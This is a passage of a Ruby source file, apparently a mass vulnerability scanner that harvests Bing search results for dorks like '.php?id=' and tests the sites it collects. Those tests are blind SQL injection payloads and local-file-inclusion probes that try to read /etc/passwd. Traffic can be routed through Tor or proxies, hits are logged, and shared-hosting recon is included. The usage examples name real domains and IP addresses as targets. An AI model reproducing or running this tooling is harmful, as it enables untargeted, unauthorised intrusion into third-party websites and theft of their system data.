660 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
661 else
662 #RUN PROXY WITH AUTH
663 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
664 end
665 end
666 end
667
668 tracker=0
669 if @@tor == 'fuqya'
670 vchk = vchk.unpack('C*').pack('U*') if !vchk.valid_encoding?
671 if vchk =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/m
672 puts "Link: ".light_green + "#{injlnk.chomp}".white
673 puts "File Found: ".light_green + "/etc/passwd".white
674 passwdz = $1
675 puts "#{passwdz}".cyan
676 puts
677 vlinks = File.new("results/lfi-confirmed.results", "a+") #Open our file handle
678 vlinks.puts "#{@injlnk}" #Write to file for safe keeping
679 vlinks.close #close our file handle we opened a minute ago
680 tracker=2
681 end
682 else
683 passwdz=[]
684 vchk.each do |resp_line|
685 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
686 if resp_line =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/
687 passwdz << $1
688 tracker=1
689 end
690 end
691 end
692 if tracker.to_i == 0
693 regexCheck(injlnk, vchk, key, value)
694 elsif tracker.to_i == 1
695 puts "Link: ".light_green + "#{injlnk.chomp}".white
696 puts "File Found: ".light_green + "/etc/passwd".white
697 puts "#{passwdz.join("\n")}".cyan
698 puts
699 vlinks = File.new("results/lfi-confirmed.results", "a+")
700 vlinks.puts "#{@injlnk}"
701 vlinks.close
702 end
703 end
704 end
705 #random HTTP errors, i.e. skip link but note error
706 rescue OpenURI::HTTPError => e
707 if e.to_s == "404 Not Found"
708 puts "\t=> #{e}".red
709 next
710 #############################################################
711 #Route to Blind Based INjection Tests for further review.....
712 #############################################################
713 elsif e.to_s == "500 Internal Server Error"
714 #something to scan page anyways for ASP stupid Winblows sites
715 puts "\t=> #{e}".red
716 puts "\tRunning additional checks".light_blue + ".....".white
717 foores = e.io.readlines
718 regexCheck(@injlnk, foores, @key, @value)
719 else
720 puts "\t=> #{e}".red
721 end
722 rescue Errno::EINVAL => e
723 puts "\t=> #{e}".yellow
724 rescue Net::HTTPBadResponse
725 puts "\t=> Problem reading response due to TOR, sorry".red + "......".white
726 rescue Errno::ECONNREFUSED
727 puts "\t=> Problem communicating with site, connection refused".red + "!".white
728 rescue Errno::EHOSTUNREACH
729 puts "\t=> Problem communicating with site, host unreachable".red + "!".white
730 rescue EOFError
731 puts "\t=> Problem communicating with site".red + "....".white
732 rescue SocketError
733 puts "\t=> Problem connecting to site".red + "....".white
734 rescue OpenSSL::SSL::SSLError
735 puts "\t=> Issues with Remote Host's OpenSSL Server Certificate".red + "....".white
736 rescue Errno::ENOENT
737 puts "\t=> Jacked URL parsing due to no value with parameter, sorry".red + "....".white
738 next
739 rescue Errno::ECONNRESET
740 puts "\t=> Problem connecting to site".red + "....".white
741 rescue RuntimeError => e
742 if e.to_s == 'Timeout::Error' # we took longer than read_timeout value said they could :p
743 puts "\t=> Connection Timeout".red + "!".cyan
744 #open-uri cant redirect properly from http to https due to a check it has built-in, so cant follow redirect :(
745 else
746 puts "\t=> Can't properly follow the redirect!".red
747 end
748 rescue Timeout::Error
749 #timeout of sorts...skip
750 puts "\t=> Connection Timeout!".red
751 rescue Errno::ETIMEDOUT
752 #timeout of sorts...skip
753 puts "\t=> Connection Timeout".red + "!".white
754 rescue TypeError
755 #Jacked up URL parsing or something like this....
756 puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".white
757 next
758 rescue URI::InvalidURIError
759 #Jacked up URL parsing or something like this....
760 puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".white
761 next
762 rescue NoMethodError => e
763 # If bad link cause error cause its not a link dont freak out....Dont do anything....got something better?
764 puts "Testing Link".light_red + ": ".cyan + "#{line.chomp}".white
765 puts "\t=> No Testable Paramaters!".red
766 #############################################################
767 ## should we test sites with no parameters anyways? NOISY? ##
768 #############################################################
769 end
770 end
771 end
772
773 #Blind SQL Injection Test
774 def blindTest(num) #1=Single Dork, 2=File Option
775 puts "Commencing Blind Injection Tests".light_red + "....".cyan
776 File.open("results/ding2.results", "r").each do |line|
777 if line =~ /r.msn.com/ or line =~ /bingads.microsoft.com/
778 next
779 end
780 begin
781 param = URI.parse(line).query #See if we cause any errors to weed out no parameter links....
782 #break paramaters into hash [ "key" => "value" ] formatting held in storage for easier manipulation
783 params = Hash[URI.parse(line).query.split('&').map{ |q| q.split('=') }]
784 puts "Testing Link".light_red + ": ".cyan + "#{line.chomp}".white
785 count=0
786 tracker=0
787 params.each do |key, value| #cycle through hash and print key and associated value
788 @key = key
789 @value = value
790 if params.length > 1 #Multiple Parameter Links
791 if count == 0
792 puts "\t=> Multiple Paramters, testing all".light_blue + "....".cyan
793 count += 1
794 end
795 injlnkTRUE = line.sub("#{value}", "#{value}%20and%205151%3D5151") #TRUE injection
796 @injlnkTRUE = injlnkTRUE
797 injlnkFALSE = line.sub("#{value}", "#{value}%20and%205151%3D5252") #FALSE injection
798 @injlnkFALSE = injlnkFALSE
799 if @@tor == 'fuqya'
800 #TOR Request
801 baseTRUE = URI(injlnkTRUE)
802 baseFALSE = URI(injlnkFALSE)
803 truerez = Tor::HTTP.get(baseTRUE.host, baseTRUE.request_uri, baseTRUE.port).body
804 falserez = Tor::HTTP.get(baseFALSE.host, baseFALSE.request_uri, baseFALSE.port).body
805 else
806 #Normal
807 if @@proxy == 'landofthelost'
808 #RUN NORMAL REQUEST
809 truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
810 falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
811 else
812 if @@username == 'nada'
813 #RUN PROXY WITHOUT AUTH
814 truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
815 falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
816 else
817 #RUN PROXY WITH AUTH
818 truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
819 falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
820 end
821 end
822 end
823 if truerez.length != falserez.length
824 puts "\t=> Possible Blind SQL injection".light_green + "!".white
825 vlinks = File.new("results/sql-blind.results", "a+")
826 vlinks.puts "#{@injlnkTRUE}"
827 vlinks.close
828 end
829 else #############<=ELSE SINGLE PARAMETER LINKS=>##############
830 injlnkTRUE = line.sub("#{value}", "#{value}%20and%205151%3D5151") #TRUE injection
831 @injlnkTRUE = injlnkTRUE
832 injlnkFALSE = line.sub("#{value}", "#{value}%20and%205151%3D5252") #FALSE injection
833 @injlnkFALSE = injlnkFALSE
834 if @@tor == 'fuqya'
835 #TOR Request
836 baseTRUE = URI(injlnkTRUE)
837 baseFALSE = URI(injlnkFALSE)
838 truerez = Tor::HTTP.get(baseTRUE.host, baseTRUE.request_uri, baseTRUE.port).body
839 falserez = Tor::HTTP.get(baseFALSE.host, baseFALSE.request_uri, baseFALSE.port).body
840 else
841 #Normal
842 if @@proxy == 'landofthelost'
843 #RUN NORMAL REQUEST
844 truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
845 falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
846 else
847 if @@username == 'nada'
848 #RUN PROXY WITHOUT AUTH
849 truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
850 falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
851 else
852 #RUN PROXY WITH AUTH
853 truerez = open(injlnkTRUE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
854 falserez = open(injlnkFALSE, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
855 end
856 end
857 end
858
859 if truerez.length != falserez.length
860 puts "\t=> Possible Blind SQL injection".light_green + "!".white
861 vlinks = File.new("results/sql-blind.results", "a+")
862 vlinks.puts "#{@injlnkTRUE}"
863 vlinks.close
864 end
865 end
866 end
867 #random HTTP errors, i.e. skip link but note error
868 rescue OpenURI::HTTPError => e
869 if e.to_s == "404 Not Found"
870 puts "\t=> #{e}".red
871 next
872 #############################################################
873 #Route to Blind Based INjection Tests for further review.....
874 #############################################################
875 elsif e.to_s == "500 Internal Server Error"
876 #something to scan page anyways for ASP stupid Winblows sites
877 puts "\t=> #{e}".red
878# puts "\tRunning additional checks".light_blue + ".....".white
879# foores = e.io.readlines
880# blindCheck(@injlnkTRUE, foores, @key, @value)
881# blindCheck(@injlnkFALSE, foores, @key, @value)
882 else
883 puts "\t=> #{e}".red
884 end
885 rescue Net::HTTPBadResponse
886 puts "\t=> Problem reading response due to TOR, sorry".red + "......".white
887 rescue Errno::ECONNREFUSED
888 puts "\t=> Problem communicating with site, connection refused".red + "!".white
889 rescue Errno::EHOSTUNREACH
890 puts "\t=> Problem communicating with site, host unreachable".red + "!".white
891 rescue EOFError
892 puts "\t=> Problem communicating with site".red + "....".white
893 rescue SocketError
894 puts "\t=> Problem connecting to site".red + "....".white
895 rescue OpenSSL::SSL::SSLError
896 puts "\t=> Issues with Remote Host's OpenSSL Server Certificate".red + "....".white
897 rescue Errno::ENOENT
898 puts "\t=> Jacked URL parsing due to no value with parameter, sorry".red + "....".white
899 next
900 rescue Errno::EINVAL => e
901 puts "\t=> #{e}".yellow
902 rescue Errno::ECONNRESET
903 puts "\t=> Problem connecting to site".red + "....".white
904 rescue RuntimeError => e
905 if e.to_s == 'Timeout::Error' # we took longer than read_timeout value said they could :p
906 puts "\t=> Connection Timeout".red + "!".cyan
907 #open-uri cant redirect properly from http to https due to a check it has built-in, so cant follow redirect :(
908 else
909 puts "\t=> Can't properly follow the redirect!".red
910 end
911 rescue Timeout::Error
912 #timeout of sorts...skip
913 puts "\t=> Connection Timeout!".red
914 rescue Errno::ETIMEDOUT
915 #timeout of sorts...skip
916 puts "\t=> Connection Timeout".red + "!".white
917 rescue TypeError
918 #Jacked up URL parsing or something like this....
919 puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".white
920 next
921 rescue URI::InvalidURIError
922 #Jacked up URL parsing or something like this....
923 puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".white
924 next
925 rescue NoMethodError => e
926 # If bad link cause error cause its not a link dont freak out....Dont do anything....got something better?
927 puts "Testing Link".light_red + ": ".cyan + "#{line.chomp}".white
928 puts "\t=> No Testable Paramaters!".red
929 end
930 end
931 end
932end
933
934#Class for running queries through Bing Search Engine at bing.com
935class BingSearch
936 def searchq(dork, geocode, num, ip) #dork = dork, geocode = country code domain type to search in, num=1 then write, num=2 append, ip to use with dork or nil if not needed
937 # Array of sites we want to avoid for one reason or another...add to the array as you like...
938 bad_sites = [ "bing.com", "msn.com", "microsoft.com", "yahoo.com", "live.com", "microsofttranslator.com", "irongeek.com", "tefneth-import.com", "hackforums.net", "freelancer.com", "facebook.com", "mozilla.org", "stackoverflow.com", "php.net", "wikipedia.org", "amazon.com", "4shared.com", "wordpress.org", "about.com", "phpbuilder.com", "phpnuke.org", "linearcity.hk", "youtube.com", "ptjaviergroup.com", "p4kurd.com", "tizag.com", "discoverbing.com", "devshed.com", "ashiyane.org", "owasp.org", "1923turk.com", "fictionbook.org", "silenthacker.do.am", "v4-team.com", "codingforums.com", "tudosobrehacker.com", "zymic.com", "forums.whirlpool.net.au", "gaza-hacker.com", "immortaltechnique.co.uk", "w3schools.com", "phpeasystep.com", "mcafee.com", "specialinterestarms.com", "pastesite.com", "pastebin.com", "joomla.org", "joomla.fr", "sourceforge.net", "joesjewelry.com" ]
939 #Print Dork in use and run...
940 if not ip == 'lol'
941 dip = "ip:#{ip}"
942 end
943 links=[] #blank array we will put our links in as we find them in our coming loop....
944 count=9 #base count for bing page reading loop
945 while count.to_i <= 225 do #Set while loop so we can grab ~20 pages of results
946 if not ip == 'lol'
947 if geocode == 'no-bounds'
948 bing = 'http://www.bing.com/search?q=' + dork.to_s + '&qs=n&pq=' + dork.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE' #Forms Our BING query link to use
949 else
950 bing = 'http://www.bing.com/search?q=' + dork.to_s + "%20" + geocode.to_s + '&qs=n&pq=' + dork.to_s + "%20" + geocode.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE'
951 end
952 else
953 if geocode == 'no-bounds'
954 bing = 'http://www.bing.com/search?q=' + dip + '+' + dork.to_s + '&qs=n&pq=' + dip + '+' + dork.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE' #Forms Our BING query link to use
955 else
956 bing = 'http://www.bing.com/search?q=' + dip + '+' + dork.to_s + "%20" + geocode.to_s + '&qs=n&pq=' + dip + '+' + dork.to_s + "%20" + geocode.to_s + '&sc=8-5&sp=-1&sk=&first=' + count.to_s + '&FORM=PORE'
957 end
958 end
959 begin
960 if @@tor == 'fuqya'
961 #TOR Request
962 baseurl = URI(bing)
963 page = Nokogiri::HTML(Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body)
964 else
965 if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
966 #RUN NORMAL REQUEST
967 page = Nokogiri::HTML(open(bing, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)'})) #Create an object we can parse with Nokogiri ;)
968 else
969 if @@username == 'nada'
970 #RUN PROXY WITHOUT AUTH
971 page = Nokogiri::HTML(open(bing, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy => "#{@@proxy}"}))
972 else
973 #RUN PROXY WITH AUTH
974 page = Nokogiri::HTML(open(bing, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}))
975 end
976 end
977 end
978 possibles = page.css("a") #parse out the <a> elements which contain our href links
979 possibles.select do |link| #cycle through possibles array and print links found
980 begin
981 if link =~ /.+\.msn\.com\/.+/ or link =~ /.+advertise\.bingads\.microsoft\.com\/.+/
982 #DO NOTHING
983 else
984 url = URI.parse(link['href']) #use URI.parse to build check around for links
985 if url.scheme == 'http' || url.scheme =='https' #if full http(s):// passed then use link
986 links << link['href']
987 end
988 end
989 rescue URI::InvalidURIError => err
990 # If bad link cause error cause its not a link dont freak out....
991 #Dont do anything, just keep on moving....got something better?
992 end
993 end
994 # Use \r to write over previous line (currently causes blank until last one finishes, meh)
995 if num.to_i == 1
996 print "\r" + "Number of Links Found: ".light_blue + "#{links.length}".white
997 end
998 count = count.to_i + 12 #increment our count using Bing's weird counting system for next page results :p
999 rescue Errno::EINVAL => e
1000 puts "#{e}".yellow
1001 rescue SocketError
1002 redo
1003 rescue EOFError #rescue timeout errors from our open() call
1004 redo #if so, retry by starting the current loop iteration over (not whole loop => retry)
1005 rescue Timeout::Error
1006 redo
1007 end
1008 end #count now > 225, exit the loop...
1009 links = links.uniq #remove duplicate links from our array we created in loop above
1010 # Sort work done so far and find which links are usable (remove known bad sites or waste of time sites)
1011 if num.to_i == 1
1012 puts "\nTestable Links: ".light_blue + "#{links.length}".white
1013 end
1014 count=0 #reset count value
1015 vlinks=[] #placeholder array for valid links
1016 blinks=[] #placeholder array for bad links
1017 while count.to_i < links.length do #Start loop until we have tested each link in our links array
1018 bad_sites.each do |foo| # cycle through bad links so we can test each against good links
1019 badchk = URI.parse(links[count]) #use URI.parse to give us a .host value to check against
1020 chk1 = badchk.host.to_s.split('.') #split to gauge if sub-domains are part of link
1021
1022 if chk1.length > 2 #if subs split into usable chunks
1023 badchk2 = badchk.host.to_s.split('.', 2) #split in 2 pieces
1024 bad = badchk2[1] #ditch sub, use main domain for comparison against .host value
1025 else
1026 bad = badchk.host # no split needed, just use for comparison
1027 end
1028
1029 if bad == foo #if our base .host value = bad then site is on no-no list
1030 blinks << links[count] #put the no-no's in own array
1031 else
1032 vlinks << links[count] #put those that pass in separate array
1033 end
1034 end
1035 count += 1 #increment count so eventually we break out of this loop :p
1036 end
1037 vlinks = vlinks.uniq #remove dups for valid links array
1038 vlinks.each do |link|
1039 if link =~ /.+\.msn\.com\/.+/ or link =~ /.+advertise\.bingads\.microsoft\.com\/.+/
1040 blinks << link
1041 end
1042 end
1043 blinks = blinks.uniq #remove dups for bad links array
1044 rlinks = vlinks - blinks #remove all bad links from our valid links array, leaving just testable links!
1045 if num.to_i == 1
1046 results = File.open("results/ding2.results", "w+") #Open our file handle
1047 else
1048 results = File.open("results/ding2.results", "a+") #Open our file handle
1049 end
1050 rlinks.each do |reallinks| #cycle through good links
1051 results.puts reallinks #print results to storage file for safe keeping (handle.puts)
1052 end
1053 results.close #close our file handle we opened a minute ago
1054 end
1055
1056 def sharedHosting(shared)
1057 # Remote links we will use for some features
1058 alexa = 'http://www.alexa.com/search?q='
1059 sameip = 'http://sameip.org/ip/'
1060 url = URI.parse(shared) # so we can breakout link for some base checks in a few...
1061 #check scheme to see how argv was passed and create host/domain accordinly
1062 if url.scheme == 'http' || url.scheme =='https' #if full http(s):// passed then use URI.parse value...
1063 domainName = url.host.sub(/www./, '') #remove www. from URI.parse host value for cleanest results
1064 else
1065 domainName = shared #otherwise just use the domain name link passed (www.google.com or google.com)
1066 end
1067 ip = Resolv.getaddress(domainName) #Resolve Domain to IP to run check
1068 begin
1069 hostname = Resolv.getname(ip) #Get hostname for IP
1070 rescue Resolv::ResolvError => e #If we get an error from Resolv due to unable to map to hostname
1071 $stderr.puts "Unable to resolve IP to hostname...".red #print a message
1072 hostname = "Unable to Resolve" #set variable value so we can keep going instead of exiting ;)
1073 end
1074 #Check Alexa Ranking
1075 alexa += domainName # make new link combining base + domain name
1076 if @@tor == 'fuqya'
1077 #TOR Request
1078 baseurl = URI(alexa)
1079 doc = Hpricot(Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body)
1080 else
1081 if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
1082 #RUN NORMAL REQUEST
1083 doc = Hpricot(open(alexa, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)'})) # grab page and store in variable for parsing
1084 else
1085 if @@username == 'nada'
1086 #RUN PROXY WITHOUT AUTH
1087 doc = Hpricot(open(alexa, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy => "#{@@proxy}"}))
1088 else
1089 #RUN PROXY WITH AUTH
1090 doc = Hpricot(open(alexa, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}))
1091 end
1092 end
1093 end
1094 rank = doc.search("span[@class=\"traffic-stat-label\"]").first.inner_html # pull out the text we want
1095 rankNum = doc.search("span").search("a") # narrow down so we can pluck out results
1096 ranking = rankNum[1].inner_html.sub("\n", '')
1097 puts "RECON RESULTS:".light_blue
1098 puts "Domain: ".light_red + "#{domainName}".white #Domain Name
1099 puts "Hostname: ".light_red + "#{hostname}".white #Hostname
1100 puts "Main IP: ".light_red + "#{ip}".white #Main IP Domain resolves to
1101 puts rank.light_red + " #{ranking}".white # Alexa Ranking
1102 puts "\nAll resolved IP addresses: ".light_blue
1103 #Sometimes server loads split between many servers so might have multiple IP in use in such cases, see www.google.com for example
1104 i=0 # set base count
1105 ips = Resolv.each_address(domainName) do |x|
1106 puts "IP #{i+=1}: ".light_red + "#{x}".white #print ip and increment counter to keep unique
1107 end
1108 puts
1109 # Check for any MX or Mail Server records on target domain
1110 puts "MX Records Found: ".light_blue
1111 i=0 # set base count, again....
1112 Resolv::DNS.open do |dns| #Create DNS Resolv object
1113 mail_servers = dns.getresources(domainName, Resolv::DNS::Resource::IN::MX) # Pull MX records for domainName and place in variable mail_servers
1114 mail_servers.each do |mailsrv| # Create loop so we can print the MX results found w/ record preference
1115 puts "MX Server #{i+=1}: ".light_red + "#{mailsrv.exchange.to_s}".white + " - ".cyan + "#{mailsrv.preference}".white
1116 end
1117 end
1118 puts
1119 # Check for Shared Hosting on target IP (using sameip.org)
1120 sameip += domainName # make new link combining base + domain name
1121 if @@tor == 'fuqya'
1122 #TOR Request which doesnt handle the redirect as nicely so need to make 2 requests....
1123 baseurl = URI.parse(sameip)
1124 base = Tor::HTTP.get(URI("#{sameip}"))
1125 redirectedto = base['location']
1126 doc = Hpricot(Tor::HTTP.get(baseurl.host, redirectedto, baseurl.port).body)
1127 else
1128 if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
1129 #RUN NORMAL REQUEST
1130 doc = Hpricot(open(sameip, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)'})) # grab page and store in variable for parsing
1131 else
1132 if @@username == 'nada'
1133 #RUN PROXY WITHOUT AUTH
1134 doc = Hpricot(open(sameip, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy => "#{@@proxy}"}))
1135 else
1136 #RUN PROXY WITH AUTH
1137 doc = Hpricot(open(sameip, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}))
1138 end
1139 end
1140 end
1141 foo=[] #prep array
1142 shared = doc.search("table").search("a") do |line| #narrow down page response to site lins held in table
1143 foo << line['href'] #place each referenced site link in our array
1144 end
1145 puts "Found ".light_red + "#{foo.length}".white + " Sites hosted on Server at: ".light_red + "#{ip}".white #use array length to determine how many sites there are
1146
1147 foo.each do |site| #print out sites by cycling through our array
1148 print " "
1149 puts site.cyan
1150 end
1151 puts
1152 puts "Shared Hosting Check Complete! Hope you found what you needed".light_blue + "............".cyan
1153 puts
1154 exit; #Stage right, clean exit!
1155 end
1156end
1157
1158#MAIN-------->
1159###########------------------------------->
1160##########################################################------------------------->
1161options = {}
1162optparse = OptionParser.new do |opts|
1163 opts.banner = "Usage:".light_blue + "#{$0} ".white + "[".light_blue + "OPTIONS".white + "]".light_blue
1164 opts.separator ""
1165 opts.separator "EX:".light_blue + " #{$0} -d \".php?id=\" ".white
1166 opts.separator "EX:".light_blue + " #{$0} -d \".php?id=\" -T".white
1167 opts.separator "EX:".light_blue + " #{$0} -d \".php?id=\" -c EDU -X http://127.0.0.1:8080".white
1168 opts.separator "EX:".light_blue + " #{$0} --dork \".php?id=\" -i 83.149.121.142".white
1169 opts.separator "EX:".light_blue + " #{$0} --dork \".php?id=\" -i 83.149.121.142 --tor".white
1170 opts.separator "EX:".light_blue + " #{$0} -f ~/dorks/lfi.lst --country-code AU --proxy http://somecoolsite.com:8080".white
1171 opts.separator "EX:".light_blue + " #{$0} -f ~/dorks/sharedhosting.lst --ip-address 83.223.106.11".white
1172 opts.separator "EX:".light_blue + " #{$0} --file /home/hood3drob1n/Desktop/ding/dorks/php-mini.lst".white
1173 opts.separator "EX:".light_blue + " #{$0} -s anko.nl".white
1174 opts.separator "EX:".light_blue + " #{$0} -s 83.223.106.11".white
1175 opts.separator "EX:".light_blue + " #{$0} --shared-hosting lavandula.com.au --tor".white
1176 opts.separator "EX:".light_blue + " #{$0} --shared-hosting http://holidayhomesindonegal.com".white
1177 opts.separator "EX:".light_blue + " #{$0} -f dorks/german.lst --country-code DE --proxy http://somecoolsite.com:8080 -U proxy_guest -P proxy_guest_pass".white
1178 opts.separator ""
1179 opts.separator "Options: ".light_blue
1180 #Now setup and layout Options....
1181 #Single Dork Option
1182 opts.on('-d', '--dork <DORK>', "\n\tDork to use with Bing search".white) do |dork|
1183 options[:dork] = dork.gsub(' ', '%20')
1184 options[:method] = 1 #1 => Single Dork, 2 will be set when file option is used....
1185 end
1186 #File option for mass dorking
1187 opts.on('-f', '--file <FILE>', "\n\tFile to use for Bing search, with one dork per line".white) do |file|
1188 options[:method] = 2 #1 => Single Dork, 2 => File Dork
1189 if File.exist?(file)
1190 options[:file] = file
1191 else
1192 puts "\nProvided file doesn't exist! Please check path or permissions and try again".red + "........".cyan
1193 puts optparse
1194 puts
1195 exit 666; #bogus shit, crash & burn
1196 end
1197 end
1198 # Country Code to use in combination with dork options (should allow Geo based dorking this way)
1199 opts.on('-c', '--country-code <CCODE>', "\n\tCountry code to combine with dork option (i.e. COM, MIL, EDU, IN, PK, AU...)".white) do |ccode|
1200 options[:ccode] = "site:#{ccode}"
1201 end
1202 # IP address to use as base for running dorks. Allows you to find vulns in multiple sites on server this way ;)
1203 opts.on('-i', '--ip-address <IP>', "\n\tIP Address to combine with BING dork(s) for checking shared server vulns".white) do |sharedip|
1204 options[:ip] = "ip:#{sharedip}"
1205 end
1206 # Check for Shared Hosting using SameIP and get some basic info, nothing too fancy
1207 opts.on('-s', '--shared-hosting <DOMAIN/IP>', "\n\tRun Check for Shared Hosting with Passed Domain or IP".white) do |shared|
1208 options[:method] = 3 #1 => Single Dork, 2 => File Dork, 3 => Shared Hosting Check
1209 options[:shared] = shared
1210 end
1211 # Level of Test to run
1212 opts.on('-L', '--level <NUM>', "\n\tLevel of Tests to Perform with Search\n\t0 => Run Single Quote Injection Test (default)\n\t1 => Run Blind Injection Test\n\t2 => Run /etc/passwd LFI Injection Test\n\t3 => Single Quote + Blind Test\n\t4 => Single Quote + /etc/passwd Test\n\t5 => Perform All Tests".white) do |level|
1213 # Level of Search:
1214 # 0 => Single Quote Injection Test (default)
1215 # 1 => /etc/passwd LFI Injection Test
1216 # 2 => Single Quote + Blind Tests
1217 # 3 => Single Quote + /etc/passwd Tests
1218 # 4 => Perform All Tests
1219 options[:level] = level #Get on my level level?
1220 end
1221 # Enable TOR Support
